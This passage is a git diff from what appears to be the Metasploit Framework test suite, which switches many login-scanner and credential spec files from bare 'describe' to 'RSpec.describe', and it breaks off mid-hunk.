spec/lib/rex/java/serialization/model/block_data_spec.rb | 2 +- spec/lib/rex/java/serialization/model/class_desc_spec.rb | 2 +- spec/lib/rex/java/serialization/model/field_spec.rb | 2 +- spec/lib/rex/java/serialization/model/long_utf_spec.rb | 2 +- spec/lib/rex/java/serialization/model/new_array_spec.rb | 2 +- .../lib/rex/java/serialization/model/new_class_desc_spec.rb | 2 +- spec/lib/rex/java/serialization/model/new_enum_spec.rb | 2 +- spec/lib/rex/java/serialization/model/new_object_spec.rb | 2 +- .../rex/java/serialization/model/proxy_class_desc_spec.rb | 2 +- spec/lib/rex/java/serialization/model/stream_spec.rb | 2 +- spec/lib/rex/java/serialization/model/utf_spec.rb | 2 +- spec/lib/rex/mac_oui_spec.rb | 2 +- spec/lib/rex/mime/encoding_spec.rb | 2 +- spec/lib/rex/mime/header_spec.rb | 2 +- spec/lib/rex/mime/message_spec.rb | 2 +- spec/lib/rex/mime/part_spec.rb | 2 +- spec/lib/rex/ole/clsid_spec.rb | 2 +- spec/lib/rex/ole/difat_spec.rb | 2 +- spec/lib/rex/ole/direntry_spec.rb | 2 +- spec/lib/rex/ole/header_spec.rb | 2 +- spec/lib/rex/ole/minifat_spec.rb | 2 +- spec/lib/rex/ole/util_spec.rb | 2 +- spec/lib/rex/parser/group_policy_preferences_spec.rb | 2 +- spec/lib/rex/parser/nmap_xml_spec.rb | 2 +- spec/lib/rex/parser/unattend_spec.rb | 2 +- spec/lib/rex/parser/winscp_spec.rb | 2 +- spec/lib/rex/payloads/meterpreter/uri_checksum_spec.rb | 2 +- spec/lib/rex/post/meterpreter/client_core_spec.rb | 2 +- spec/lib/rex/post/meterpreter/extensions/priv/priv_spec.rb | 2 +- spec/lib/rex/post/meterpreter/extensions/stdapi/ui_spec.rb | 2 +- spec/lib/rex/post/meterpreter/packet_parser_spec.rb | 2 +- spec/lib/rex/post/meterpreter/packet_spec.rb | 6 +++--- spec/lib/rex/post/meterpreter/ui/console.rb | 2 +- spec/lib/rex/post/meterpreter_spec.rb | 2 +- spec/lib/rex/powershell/command_spec.rb | 2 +- spec/lib/rex/powershell/function_spec.rb | 2 +- spec/lib/rex/powershell/obfu_spec.rb | 2 +- spec/lib/rex/powershell/output_spec.rb | 2 +- spec/lib/rex/powershell/param_spec.rb | 2 +- spec/lib/rex/powershell/parser_spec.rb | 2 +- spec/lib/rex/powershell/psh_methods_spec.rb | 2 +- spec/lib/rex/powershell/script_spec.rb | 2 +- spec/lib/rex/powershell_spec.rb | 2 +- spec/lib/rex/proto/acpp/message_spec.rb | 2 +- spec/lib/rex/proto/http/client_request_spec.rb | 2 +- spec/lib/rex/proto/http/client_spec.rb | 2 +- spec/lib/rex/proto/http/packet/header_spec.rb | 2 +- spec/lib/rex/proto/http/packet_spec.rb | 2 +- spec/lib/rex/proto/http/response_spec.rb | 2 +- spec/lib/rex/proto/kademlia/bootstrap_request_spec.rb | 2 +- spec/lib/rex/proto/kademlia/bootstrap_response_spec.rb | 2 +- spec/lib/rex/proto/kademlia/message_spec.rb | 2 +- spec/lib/rex/proto/kademlia/ping_spec.rb | 2 +- spec/lib/rex/proto/kademlia/pong_spec.rb | 2 +- spec/lib/rex/proto/kademlia/util_spec.rb | 2 +- spec/lib/rex/proto/kerberos/client_spec.rb | 2 +- spec/lib/rex/proto/kerberos/credential_cache/cache_spec.rb | 2 +- .../rex/proto/kerberos/credential_cache/credential_spec.rb | 2 +- spec/lib/rex/proto/kerberos/credential_cache/key_block.rb | 2 +- .../rex/proto/kerberos/credential_cache/principal_spec.rb | 2 +- spec/lib/rex/proto/kerberos/credential_cache/time_spec.rb | 2 +- spec/lib/rex/proto/kerberos/model/ap_req_spec.rb | 2 +- spec/lib/rex/proto/kerberos/model/authenticator_spec.rb | 2 +- .../lib/rex/proto/kerberos/model/authorization_data_spec.rb | 2 +- spec/lib/rex/proto/kerberos/model/checksum_spec.rb | 2 +- spec/lib/rex/proto/kerberos/model/enc_kdc_response_spec.rb | 2 +- spec/lib/rex/proto/kerberos/model/encrypted_data_spec.rb | 2 +- spec/lib/rex/proto/kerberos/model/kdc_request_body_spec.rb | 2 +- spec/lib/rex/proto/kerberos/model/kdc_request_spec.rb | 2 +- spec/lib/rex/proto/kerberos/model/kdc_response_spec.rb | 2 +- spec/lib/rex/proto/kerberos/model/krb_error_spec.rb | 2 +- spec/lib/rex/proto/kerberos/model/pre_auth_data_spec.rb | 2 +- .../proto/kerberos/model/pre_auth_enc_time_stamp_spec.rb | 2 +- .../rex/proto/kerberos/model/pre_auth_pac_request_spec.rb | 2 +- spec/lib/rex/proto/kerberos/model/principal_name_spec.rb | 2 +- spec/lib/rex/proto/kerberos/model/ticket_spec.rb | 2 +- spec/lib/rex/proto/kerberos/pac/client_info_spec.rb | 2 +- spec/lib/rex/proto/kerberos/pac/logon_info_spec.rb | 2 +- spec/lib/rex/proto/kerberos/pac/priv_srv_checksum_spec.rb | 2 +- spec/lib/rex/proto/kerberos/pac/server_checksum_spec.rb | 2 +- spec/lib/rex/proto/kerberos/pac/type_spec.rb | 2 +- spec/lib/rex/proto/natpmp/packet_spec.rb | 2 +- spec/lib/rex/proto/ntp/modes_spec.rb | 2 +- spec/lib/rex/proto/pjl/client_spec.rb | 2 +- spec/lib/rex/proto/quake/message_spec.rb | 2 +- spec/lib/rex/proto/rmi/model/call_data_spec.rb | 2 +- spec/lib/rex/proto/rmi/model/call_spec.rb | 2 +- spec/lib/rex/proto/rmi/model/continuation_spec.rb | 2 +- spec/lib/rex/proto/rmi/model/dgc_ack_spec.rb | 2 +- spec/lib/rex/proto/rmi/model/output_header_spec.rb | 2 +- spec/lib/rex/proto/rmi/model/ping_ack_spec.rb | 2 +- spec/lib/rex/proto/rmi/model/ping_spec.rb | 2 +- spec/lib/rex/proto/rmi/model/protocol_ack_spec.rb | 2 +- spec/lib/rex/proto/rmi/model/return_data_spec.rb | 2 +- spec/lib/rex/proto/rmi/model/return_value_spec.rb | 2 +- spec/lib/rex/proto/rmi/model/unique_identifier_spec.rb | 2 +- spec/lib/rex/proto/sip/response_spec.rb | 2 +- spec/lib/rex/proto/steam/message_spec.rb | 2 +- spec/lib/rex/random_identifier_generator_spec.rb | 2 +- spec/lib/rex/socket/range_walker_spec.rb | 2 +- spec/lib/rex/socket_spec.rb | 2 +- spec/lib/rex/sslscan/result_spec.rb | 2 +- spec/lib/rex/sslscan/scanner_spec.rb | 2 +- spec/lib/rex/text_spec.rb | 2 +- spec/lib/rex/time_spec.rb | 2 +- spec/models/metasploit/credential/core_spec.rb | 2 +- spec/modules/payloads_spec.rb | 2 +- spec/modules_spec.rb | 2 +- spec/msfupdate_spec.rb | 2 +- spec/tools/cpassword_decrypt_spec.rb | 2 +- spec/tools/egghunter_spec.rb | 2 +- spec/tools/java_deserializer_spec.rb | 2 +- spec/tools/jsobfu_spec.rb | 2 +- spec/tools/md5_lookup_spec.rb | 2 +- spec/tools/msu_finder_spec.rb | 2 +- spec/tools/virustotal_spec.rb | 2 +- 293 files changed, 295 insertions(+), 296 deletions(-) diff --git a/spec/lib/active_record/connection_adapters/abstract_adapter/connection_pool_spec.rb b/spec/lib/active_record/connection_adapters/abstract_adapter/connection_pool_spec.rb index 8196f7fd59..b9be0ab0dc 100644 --- a/spec/lib/active_record/connection_adapters/abstract_adapter/connection_pool_spec.rb +++ b/spec/lib/active_record/connection_adapters/abstract_adapter/connection_pool_spec.rb @@ -1,7 +1,7 @@ # -*- coding:binary -*- require 'spec_helper' -describe ActiveRecord::ConnectionAdapters::ConnectionPool do +RSpec.describe ActiveRecord::ConnectionAdapters::ConnectionPool do self.use_transactional_fixtures = false def database_configurations diff --git a/spec/lib/metasploit/framework/credential_collection_spec.rb b/spec/lib/metasploit/framework/credential_collection_spec.rb index cfe583036b..165d35d59f 100644 --- a/spec/lib/metasploit/framework/credential_collection_spec.rb +++ b/spec/lib/metasploit/framework/credential_collection_spec.rb @@ -1,7 +1,7 @@ require 'spec_helper' require 'metasploit/framework/credential_collection' -describe Metasploit::Framework::CredentialCollection do +RSpec.describe Metasploit::Framework::CredentialCollection do subject(:collection) do described_class.new( diff --git a/spec/lib/metasploit/framework/credential_spec.rb b/spec/lib/metasploit/framework/credential_spec.rb index b834d21251..a7b929c032 100644 --- a/spec/lib/metasploit/framework/credential_spec.rb +++ b/spec/lib/metasploit/framework/credential_spec.rb @@ -1,7 +1,7 @@ require 'spec_helper' require 'metasploit/framework/credential' -describe Metasploit::Framework::Credential do +RSpec.describe Metasploit::Framework::Credential do subject(:cred_detail) { described_class.new diff --git a/spec/lib/metasploit/framework/jtr/cracker_spec.rb b/spec/lib/metasploit/framework/jtr/cracker_spec.rb index 13d16c8c63..2c48ac27d7 100644 --- a/spec/lib/metasploit/framework/jtr/cracker_spec.rb +++ b/spec/lib/metasploit/framework/jtr/cracker_spec.rb @@ -1,7 +1,7 @@ require 'spec_helper' require 'metasploit/framework/jtr/cracker' -describe Metasploit::Framework::JtR::Cracker do +RSpec.describe Metasploit::Framework::JtR::Cracker do subject(:cracker) { described_class.new } let(:john_path) { '/path/to/john' } diff --git a/spec/lib/metasploit/framework/jtr/invalid_wordlist_spec.rb b/spec/lib/metasploit/framework/jtr/invalid_wordlist_spec.rb index 192ae127f8..93a83cac80 100644 --- a/spec/lib/metasploit/framework/jtr/invalid_wordlist_spec.rb +++ b/spec/lib/metasploit/framework/jtr/invalid_wordlist_spec.rb @@ -1,7 +1,7 @@ require 'spec_helper' require 'metasploit/framework/jtr/invalid_wordlist' -describe Metasploit::Framework::JtR::InvalidWordlist do +RSpec.describe Metasploit::Framework::JtR::InvalidWordlist do subject(:invalid) do described_class.new(model) diff --git a/spec/lib/metasploit/framework/jtr/wordlist_spec.rb b/spec/lib/metasploit/framework/jtr/wordlist_spec.rb index ba0839664b..03a6025f02 100644 --- a/spec/lib/metasploit/framework/jtr/wordlist_spec.rb +++ b/spec/lib/metasploit/framework/jtr/wordlist_spec.rb @@ -1,7 +1,7 @@ require 'spec_helper' require 'metasploit/framework/jtr/wordlist' -describe Metasploit::Framework::JtR::Wordlist do +RSpec.describe Metasploit::Framework::JtR::Wordlist do subject(:wordlist) { described_class.new } diff --git a/spec/lib/metasploit/framework/login_scanner/afp_spec.rb b/spec/lib/metasploit/framework/login_scanner/afp_spec.rb index 617d28f0d7..c1688c578e 100644 --- a/spec/lib/metasploit/framework/login_scanner/afp_spec.rb +++ b/spec/lib/metasploit/framework/login_scanner/afp_spec.rb @@ -2,7 +2,7 @@ require 'spec_helper' require 'metasploit/framework/login_scanner/afp' -describe Metasploit::Framework::LoginScanner::AFP do +RSpec.describe Metasploit::Framework::LoginScanner::AFP do subject(:scanner) { described_class.new } diff --git a/spec/lib/metasploit/framework/login_scanner/axis2_spec.rb b/spec/lib/metasploit/framework/login_scanner/axis2_spec.rb index e75465609e..d59dc79ee9 100644 --- a/spec/lib/metasploit/framework/login_scanner/axis2_spec.rb +++ b/spec/lib/metasploit/framework/login_scanner/axis2_spec.rb @@ -2,7 +2,7 @@ require 'spec_helper' require 'metasploit/framework/login_scanner/axis2' -describe Metasploit::Framework::LoginScanner::Axis2 do +RSpec.describe Metasploit::Framework::LoginScanner::Axis2 do it_behaves_like 'Metasploit::Framework::LoginScanner::Base', has_realm_key: true, has_default_realm: false it_behaves_like 'Metasploit::Framework::LoginScanner::RexSocket' diff --git a/spec/lib/metasploit/framework/login_scanner/base_spec.rb b/spec/lib/metasploit/framework/login_scanner/base_spec.rb index b30725fe12..630c9f4e6b 100644 --- a/spec/lib/metasploit/framework/login_scanner/base_spec.rb +++ b/spec/lib/metasploit/framework/login_scanner/base_spec.rb @@ -1,7 +1,7 @@ require 'spec_helper' require 'metasploit/framework/login_scanner/base' -describe Metasploit::Framework::LoginScanner::Base do +RSpec.describe Metasploit::Framework::LoginScanner::Base do let(:base_class) { Class.new do diff --git a/spec/lib/metasploit/framework/login_scanner/buffalo_spec.rb b/spec/lib/metasploit/framework/login_scanner/buffalo_spec.rb index c348825798..ad6fe372ba 100644 --- a/spec/lib/metasploit/framework/login_scanner/buffalo_spec.rb +++ b/spec/lib/metasploit/framework/login_scanner/buffalo_spec.rb @@ -1,7 +1,7 @@ require 'spec_helper' require 'metasploit/framework/login_scanner/buffalo' -describe Metasploit::Framework::LoginScanner::Buffalo do +RSpec.describe Metasploit::Framework::LoginScanner::Buffalo do it_behaves_like 'Metasploit::Framework::LoginScanner::Base', has_realm_key: true, has_default_realm: false it_behaves_like 'Metasploit::Framework::LoginScanner::RexSocket' diff --git a/spec/lib/metasploit/framework/login_scanner/chef_webui_spec.rb b/spec/lib/metasploit/framework/login_scanner/chef_webui_spec.rb index 523b8288d5..7abc1de405 100644 --- a/spec/lib/metasploit/framework/login_scanner/chef_webui_spec.rb +++ b/spec/lib/metasploit/framework/login_scanner/chef_webui_spec.rb @@ -2,7 +2,7 @@ require 'spec_helper' require 'metasploit/framework/login_scanner/chef_webui' -describe Metasploit::Framework::LoginScanner::ChefWebUI do +RSpec.describe Metasploit::Framework::LoginScanner::ChefWebUI do subject(:http_scanner) { described_class.new } diff --git a/spec/lib/metasploit/framework/login_scanner/db2_spec.rb b/spec/lib/metasploit/framework/login_scanner/db2_spec.rb index d682445de8..596bc12623 100644 --- a/spec/lib/metasploit/framework/login_scanner/db2_spec.rb +++ b/spec/lib/metasploit/framework/login_scanner/db2_spec.rb @@ -1,7 +1,7 @@ require 'spec_helper' require 'metasploit/framework/login_scanner/db2' -describe Metasploit::Framework::LoginScanner::DB2 do +RSpec.describe Metasploit::Framework::LoginScanner::DB2 do let(:public) { 'root' } let(:private) { 'toor' } let(:test_cred) { diff --git a/spec/lib/metasploit/framework/login_scanner/ftp_spec.rb b/spec/lib/metasploit/framework/login_scanner/ftp_spec.rb index 1b7acf5053..324ae7e506 100644 --- a/spec/lib/metasploit/framework/login_scanner/ftp_spec.rb +++ b/spec/lib/metasploit/framework/login_scanner/ftp_spec.rb @@ -1,7 +1,7 @@ require 'spec_helper' require 'metasploit/framework/login_scanner/ftp' -describe Metasploit::Framework::LoginScanner::FTP do +RSpec.describe Metasploit::Framework::LoginScanner::FTP do let(:public) { 'root' } let(:private) { 'toor' } diff --git a/spec/lib/metasploit/framework/login_scanner/gitlab_spec.rb b/spec/lib/metasploit/framework/login_scanner/gitlab_spec.rb index c34014fd8b..c6915fed90 100644 --- a/spec/lib/metasploit/framework/login_scanner/gitlab_spec.rb +++ b/spec/lib/metasploit/framework/login_scanner/gitlab_spec.rb @@ -1,7 +1,7 @@ require 'spec_helper' require 'metasploit/framework/login_scanner/gitlab' -describe Metasploit::Framework::LoginScanner::GitLab do +RSpec.describe Metasploit::Framework::LoginScanner::GitLab do it_behaves_like 'Metasploit::Framework::LoginScanner::Base', has_realm_key: true, has_default_realm: false it_behaves_like 'Metasploit::Framework::LoginScanner::RexSocket' diff --git a/spec/lib/metasploit/framework/login_scanner/glassfish_spec.rb b/spec/lib/metasploit/framework/login_scanner/glassfish_spec.rb index 094ff19e27..26250d25c0 100644 --- a/spec/lib/metasploit/framework/login_scanner/glassfish_spec.rb +++ b/spec/lib/metasploit/framework/login_scanner/glassfish_spec.rb @@ -2,7 +2,7 @@ require 'spec_helper' require 'metasploit/framework/login_scanner/glassfish' -describe Metasploit::Framework::LoginScanner::Glassfish do +RSpec.describe Metasploit::Framework::LoginScanner::Glassfish do subject(:http_scanner) { described_class.new } diff --git a/spec/lib/metasploit/framework/login_scanner/http_spec.rb b/spec/lib/metasploit/framework/login_scanner/http_spec.rb index 5f26ff7271..085848b806 100644 --- a/spec/lib/metasploit/framework/login_scanner/http_spec.rb +++ b/spec/lib/metasploit/framework/login_scanner/http_spec.rb @@ -2,7 +2,7 @@ require 'spec_helper' require 'metasploit/framework/login_scanner/http' -describe Metasploit::Framework::LoginScanner::HTTP do +RSpec.describe Metasploit::Framework::LoginScanner::HTTP do it_behaves_like 'Metasploit::Framework::LoginScanner::Base', has_realm_key: true, has_default_realm: false it_behaves_like 'Metasploit::Framework::LoginScanner::RexSocket' diff --git a/spec/lib/metasploit/framework/login_scanner/invalid_spec.rb b/spec/lib/metasploit/framework/login_scanner/invalid_spec.rb index 1db6b7f4cf..2f2304a731 100644 --- a/spec/lib/metasploit/framework/login_scanner/invalid_spec.rb +++ b/spec/lib/metasploit/framework/login_scanner/invalid_spec.rb @@ -1,7 +1,7 @@ require 'spec_helper' require 'metasploit/framework/login_scanner/invalid' -describe Metasploit::Framework::LoginScanner::Invalid do +RSpec.describe Metasploit::Framework::LoginScanner::Invalid do subject(:invalid) do described_class.new(model) diff --git a/spec/lib/metasploit/framework/login_scanner/ipboard_spec.rb b/spec/lib/metasploit/framework/login_scanner/ipboard_spec.rb index 593f8fbd8c..b6f74bc971 100644 --- a/spec/lib/metasploit/framework/login_scanner/ipboard_spec.rb +++ b/spec/lib/metasploit/framework/login_scanner/ipboard_spec.rb @@ -1,7 +1,7 @@ require 'spec_helper' require 'metasploit/framework/login_scanner/ipboard' -describe Metasploit::Framework::LoginScanner::IPBoard do +RSpec.describe Metasploit::Framework::LoginScanner::IPBoard do subject { described_class.new } diff --git a/spec/lib/metasploit/framework/login_scanner/jenkins_spec.rb b/spec/lib/metasploit/framework/login_scanner/jenkins_spec.rb index 67053e63dd..ca6aa2fe73 100644 --- a/spec/lib/metasploit/framework/login_scanner/jenkins_spec.rb +++ b/spec/lib/metasploit/framework/login_scanner/jenkins_spec.rb @@ -1,7 +1,7 @@ require 'spec_helper' require 'metasploit/framework/login_scanner/jenkins' -describe Metasploit::Framework::LoginScanner::Jenkins do +RSpec.describe Metasploit::Framework::LoginScanner::Jenkins do it_behaves_like 'Metasploit::Framework::LoginScanner::Base', has_realm_key: true, has_default_realm: false it_behaves_like 'Metasploit::Framework::LoginScanner::RexSocket' diff --git a/spec/lib/metasploit/framework/login_scanner/manageengine_desktop_central_spec.rb b/spec/lib/metasploit/framework/login_scanner/manageengine_desktop_central_spec.rb index f657ef91a6..e8a877bd71 100644 --- a/spec/lib/metasploit/framework/login_scanner/manageengine_desktop_central_spec.rb +++ b/spec/lib/metasploit/framework/login_scanner/manageengine_desktop_central_spec.rb @@ -1,7 +1,7 @@ require 'spec_helper' require 'metasploit/framework/login_scanner/manageengine_desktop_central' -describe Metasploit::Framework::LoginScanner::ManageEngineDesktopCentral do +RSpec.describe Metasploit::Framework::LoginScanner::ManageEngineDesktopCentral do it_behaves_like 'Metasploit::Framework::LoginScanner::Base', has_realm_key: true, has_default_realm: false it_behaves_like 'Metasploit::Framework::LoginScanner::RexSocket' diff --git a/spec/lib/metasploit/framework/login_scanner/mssql_spec.rb b/spec/lib/metasploit/framework/login_scanner/mssql_spec.rb index 4acf939fce..1fd48bd2e4 100644 --- a/spec/lib/metasploit/framework/login_scanner/mssql_spec.rb +++ b/spec/lib/metasploit/framework/login_scanner/mssql_spec.rb @@ -1,7 +1,7 @@ require 'spec_helper' require 'metasploit/framework/login_scanner/mssql' -describe Metasploit::Framework::LoginScanner::MSSQL do +RSpec.describe Metasploit::Framework::LoginScanner::MSSQL do let(:public) { 'root' } let(:private) { 'toor' } diff --git a/spec/lib/metasploit/framework/login_scanner/mybook_live_spec.rb b/spec/lib/metasploit/framework/login_scanner/mybook_live_spec.rb index 9ad1c2ffdd..951ace0bd4 100644 --- a/spec/lib/metasploit/framework/login_scanner/mybook_live_spec.rb +++ b/spec/lib/metasploit/framework/login_scanner/mybook_live_spec.rb @@ -1,7 +1,7 @@ require 'spec_helper' require 'metasploit/framework/login_scanner/mybook_live' -describe Metasploit::Framework::LoginScanner::MyBookLive do +RSpec.describe Metasploit::Framework::LoginScanner::MyBookLive do it_behaves_like 'Metasploit::Framework::LoginScanner::Base', has_realm_key: true, has_default_realm: false it_behaves_like 'Metasploit::Framework::LoginScanner::RexSocket' diff --git a/spec/lib/metasploit/framework/login_scanner/mysql_spec.rb b/spec/lib/metasploit/framework/login_scanner/mysql_spec.rb index d9ca3d1ce4..416614e0e5 100644 --- a/spec/lib/metasploit/framework/login_scanner/mysql_spec.rb +++ b/spec/lib/metasploit/framework/login_scanner/mysql_spec.rb @@ -1,7 +1,7 @@ require 'spec_helper' require 'metasploit/framework/login_scanner/mysql' -describe Metasploit::Framework::LoginScanner::MySQL do +RSpec.describe Metasploit::Framework::LoginScanner::MySQL do let(:public) { 'root' } let(:private) { 'toor' } let(:pub_blank) { diff --git a/spec/lib/metasploit/framework/login_scanner/nessus_spec.rb b/spec/lib/metasploit/framework/login_scanner/nessus_spec.rb index 335abc7957..c1f5e1c540 100644 --- a/spec/lib/metasploit/framework/login_scanner/nessus_spec.rb +++ b/spec/lib/metasploit/framework/login_scanner/nessus_spec.rb @@ -1,7 +1,7 @@ require 'spec_helper' require 'metasploit/framework/login_scanner/nessus' -describe Metasploit::Framework::LoginScanner::Nessus do +RSpec.describe Metasploit::Framework::LoginScanner::Nessus do subject(:http_scanner) { described_class.new } diff --git a/spec/lib/metasploit/framework/login_scanner/pop3_spec.rb b/spec/lib/metasploit/framework/login_scanner/pop3_spec.rb index ce686c4d07..21a8680fe3 100644 --- a/spec/lib/metasploit/framework/login_scanner/pop3_spec.rb +++ b/spec/lib/metasploit/framework/login_scanner/pop3_spec.rb @@ -1,7 +1,7 @@ require 'spec_helper' require 'metasploit/framework/login_scanner/pop3' -describe Metasploit::Framework::LoginScanner::POP3 do +RSpec.describe Metasploit::Framework::LoginScanner::POP3 do subject(:scanner) { described_class.new } it_behaves_like 'Metasploit::Framework::LoginScanner::Base', has_realm_key: false, has_default_realm: false diff --git a/spec/lib/metasploit/framework/login_scanner/postgres_spec.rb b/spec/lib/metasploit/framework/login_scanner/postgres_spec.rb index 074f098fe3..fe4e1e6856 100644 --- a/spec/lib/metasploit/framework/login_scanner/postgres_spec.rb +++ b/spec/lib/metasploit/framework/login_scanner/postgres_spec.rb @@ -1,7 +1,7 @@ require 'spec_helper' require 'metasploit/framework/login_scanner/postgres' -describe Metasploit::Framework::LoginScanner::Postgres do +RSpec.describe Metasploit::Framework::LoginScanner::Postgres do let(:public) { 'root' } let(:private) { 'toor' } let(:realm) { 'template1' } diff --git a/spec/lib/metasploit/framework/login_scanner/result_spec.rb b/spec/lib/metasploit/framework/login_scanner/result_spec.rb index 62103d47e4..fb22b6b1b3 100644 --- a/spec/lib/metasploit/framework/login_scanner/result_spec.rb +++ b/spec/lib/metasploit/framework/login_scanner/result_spec.rb @@ -1,7 +1,7 @@ require 'spec_helper' require 'metasploit/framework/login_scanner' -describe Metasploit::Framework::LoginScanner::Result do +RSpec.describe Metasploit::Framework::LoginScanner::Result do let(:private) { 'toor' } let(:proof) { 'foobar' } diff --git a/spec/lib/metasploit/framework/login_scanner/smb_spec.rb b/spec/lib/metasploit/framework/login_scanner/smb_spec.rb index 2986b3ef99..67327c6ad1 100644 --- a/spec/lib/metasploit/framework/login_scanner/smb_spec.rb +++ b/spec/lib/metasploit/framework/login_scanner/smb_spec.rb @@ -1,7 +1,7 @@ require 'spec_helper' require 'metasploit/framework/login_scanner/smb' -describe Metasploit::Framework::LoginScanner::SMB do +RSpec.describe Metasploit::Framework::LoginScanner::SMB do let(:public) { 'root' } let(:private) { 'toor' } diff --git a/spec/lib/metasploit/framework/login_scanner/smh_spec.rb b/spec/lib/metasploit/framework/login_scanner/smh_spec.rb index ea33ad1fb8..266f5cb397 100644 --- a/spec/lib/metasploit/framework/login_scanner/smh_spec.rb +++ b/spec/lib/metasploit/framework/login_scanner/smh_spec.rb @@ -2,7 +2,7 @@ require 'spec_helper' require 'metasploit/framework/login_scanner/smh' -describe Metasploit::Framework::LoginScanner::Smh do +RSpec.describe Metasploit::Framework::LoginScanner::Smh do subject(:smh_cli) { described_class.new } diff --git a/spec/lib/metasploit/framework/login_scanner/snmp_spec.rb b/spec/lib/metasploit/framework/login_scanner/snmp_spec.rb index 99ccfbdca5..c548af97db 100644 --- a/spec/lib/metasploit/framework/login_scanner/snmp_spec.rb +++ b/spec/lib/metasploit/framework/login_scanner/snmp_spec.rb @@ -1,7 +1,7 @@ require 'spec_helper' require 'metasploit/framework/login_scanner/snmp' -describe Metasploit::Framework::LoginScanner::SNMP do +RSpec.describe Metasploit::Framework::LoginScanner::SNMP do let(:public) { 'public' } let(:private) { nil } diff --git a/spec/lib/metasploit/framework/login_scanner/ssh_spec.rb b/spec/lib/metasploit/framework/login_scanner/ssh_spec.rb index e36d723c72..93fba3a081 100644 --- a/spec/lib/metasploit/framework/login_scanner/ssh_spec.rb +++ b/spec/lib/metasploit/framework/login_scanner/ssh_spec.rb @@ -1,7 +1,7 @@ require 'spec_helper' require 'metasploit/framework/login_scanner/ssh' -describe Metasploit::Framework::LoginScanner::SSH do +RSpec.describe Metasploit::Framework::LoginScanner::SSH do let(:public) { 'root' } let(:private) { 'toor' } let(:key) { OpenSSL::PKey::RSA.generate(2048).to_s } diff --git a/spec/lib/metasploit/framework/login_scanner/symantec_web_gateway_spec.rb b/spec/lib/metasploit/framework/login_scanner/symantec_web_gateway_spec.rb index 597cb3c71c..20a2fbef70 100644 --- a/spec/lib/metasploit/framework/login_scanner/symantec_web_gateway_spec.rb +++ b/spec/lib/metasploit/framework/login_scanner/symantec_web_gateway_spec.rb @@ -1,7 +1,7 @@ require 'spec_helper' require 'metasploit/framework/login_scanner/symantec_web_gateway' -describe Metasploit::Framework::LoginScanner::SymantecWebGateway do +RSpec.describe Metasploit::Framework::LoginScanner::SymantecWebGateway do it_behaves_like 'Metasploit::Framework::LoginScanner::Base', has_realm_key: true, has_default_realm: false it_behaves_like 'Metasploit::Framework::LoginScanner::RexSocket' diff --git a/spec/lib/metasploit/framework/login_scanner/telnet_spec.rb b/spec/lib/metasploit/framework/login_scanner/telnet_spec.rb index 90f5d6924b..0c942b35c7 100644 --- a/spec/lib/metasploit/framework/login_scanner/telnet_spec.rb +++ b/spec/lib/metasploit/framework/login_scanner/telnet_spec.rb @@ -1,7 +1,7 @@ require 'spec_helper' require 'metasploit/framework/login_scanner/telnet' -describe Metasploit::Framework::LoginScanner::Telnet do +RSpec.describe Metasploit::Framework::LoginScanner::Telnet do subject(:login_scanner) { described_class.new } diff --git a/spec/lib/metasploit/framework/login_scanner/tomcat_spec.rb b/spec/lib/metasploit/framework/login_scanner/tomcat_spec.rb index ef050c0ba0..1917eaffd0 100644 --- a/spec/lib/metasploit/framework/login_scanner/tomcat_spec.rb +++ b/spec/lib/metasploit/framework/login_scanner/tomcat_spec.rb @@ -2,7 +2,7 @@ require 'spec_helper' require 'metasploit/framework/login_scanner/tomcat' -describe Metasploit::Framework::LoginScanner::Tomcat do +RSpec.describe Metasploit::Framework::LoginScanner::Tomcat do it_behaves_like 'Metasploit::Framework::LoginScanner::Base', has_realm_key: true, has_default_realm: false it_behaves_like 'Metasploit::Framework::LoginScanner::RexSocket' diff --git a/spec/lib/metasploit/framework/login_scanner/vmauthd_spec.rb b/spec/lib/metasploit/framework/login_scanner/vmauthd_spec.rb index 07851d7266..6efe54da8e 100644 --- a/spec/lib/metasploit/framework/login_scanner/vmauthd_spec.rb +++ b/spec/lib/metasploit/framework/login_scanner/vmauthd_spec.rb @@ -1,7 +1,7 @@ require 'spec_helper' require 'metasploit/framework/login_scanner/vmauthd' -describe Metasploit::Framework::LoginScanner::VMAUTHD do +RSpec.describe Metasploit::Framework::LoginScanner::VMAUTHD do subject(:scanner) { described_class.new } it_behaves_like 'Metasploit::Framework::LoginScanner::Base', has_realm_key: false, has_default_realm: false diff --git a/spec/lib/metasploit/framework/login_scanner/vnc_spec.rb b/spec/lib/metasploit/framework/login_scanner/vnc_spec.rb index a0c268468d..edc9b03a6c 100644 --- a/spec/lib/metasploit/framework/login_scanner/vnc_spec.rb +++ b/spec/lib/metasploit/framework/login_scanner/vnc_spec.rb @@ -1,7 +1,7 @@ require 'spec_helper' require 'metasploit/framework/login_scanner/vnc' -describe Metasploit::Framework::LoginScanner::VNC do +RSpec.describe Metasploit::Framework::LoginScanner::VNC do let(:private) { 'password' } let(:blank) { '' } let(:test_cred) { diff --git a/spec/lib/metasploit/framework/login_scanner/winrm_spec.rb b/spec/lib/metasploit/framework/login_scanner/winrm_spec.rb index a4fc368a70..437d33063d 100644 --- a/spec/lib/metasploit/framework/login_scanner/winrm_spec.rb +++ b/spec/lib/metasploit/framework/login_scanner/winrm_spec.rb @@ -2,7 +2,7 @@ require 'spec_helper' require 'metasploit/framework/login_scanner/winrm' -describe Metasploit::Framework::LoginScanner::WinRM do +RSpec.describe Metasploit::Framework::LoginScanner::WinRM do it_behaves_like 'Metasploit::Framework::LoginScanner::Base', has_realm_key: true, has_default_realm: true it_behaves_like 'Metasploit::Framework::LoginScanner::RexSocket' diff --git a/spec/lib/metasploit/framework/login_scanner/wordpress_rpc_spec.rb b/spec/lib/metasploit/framework/login_scanner/wordpress_rpc_spec.rb index 474d52a9bf..1783522211 100644 --- a/spec/lib/metasploit/framework/login_scanner/wordpress_rpc_spec.rb +++ b/spec/lib/metasploit/framework/login_scanner/wordpress_rpc_spec.rb @@ -1,7 +1,7 @@ require 'spec_helper' require 'metasploit/framework/login_scanner/wordpress_rpc' -describe Metasploit::Framework::LoginScanner::WordpressRPC do +RSpec.describe Metasploit::Framework::LoginScanner::WordpressRPC do it_behaves_like 'Metasploit::Framework::LoginScanner::Base', has_realm_key: true, has_default_realm: false it_behaves_like 'Metasploit::Framework::LoginScanner::RexSocket' diff --git a/spec/lib/metasploit/framework/login_scanner/zabbix_spec.rb b/spec/lib/metasploit/framework/login_scanner/zabbix_spec.rb index 84b87a7c1e..4e467b96d6 100644 --- a/spec/lib/metasploit/framework/login_scanner/zabbix_spec.rb +++ b/spec/lib/metasploit/framework/login_scanner/zabbix_spec.rb @@ -2,7 +2,7 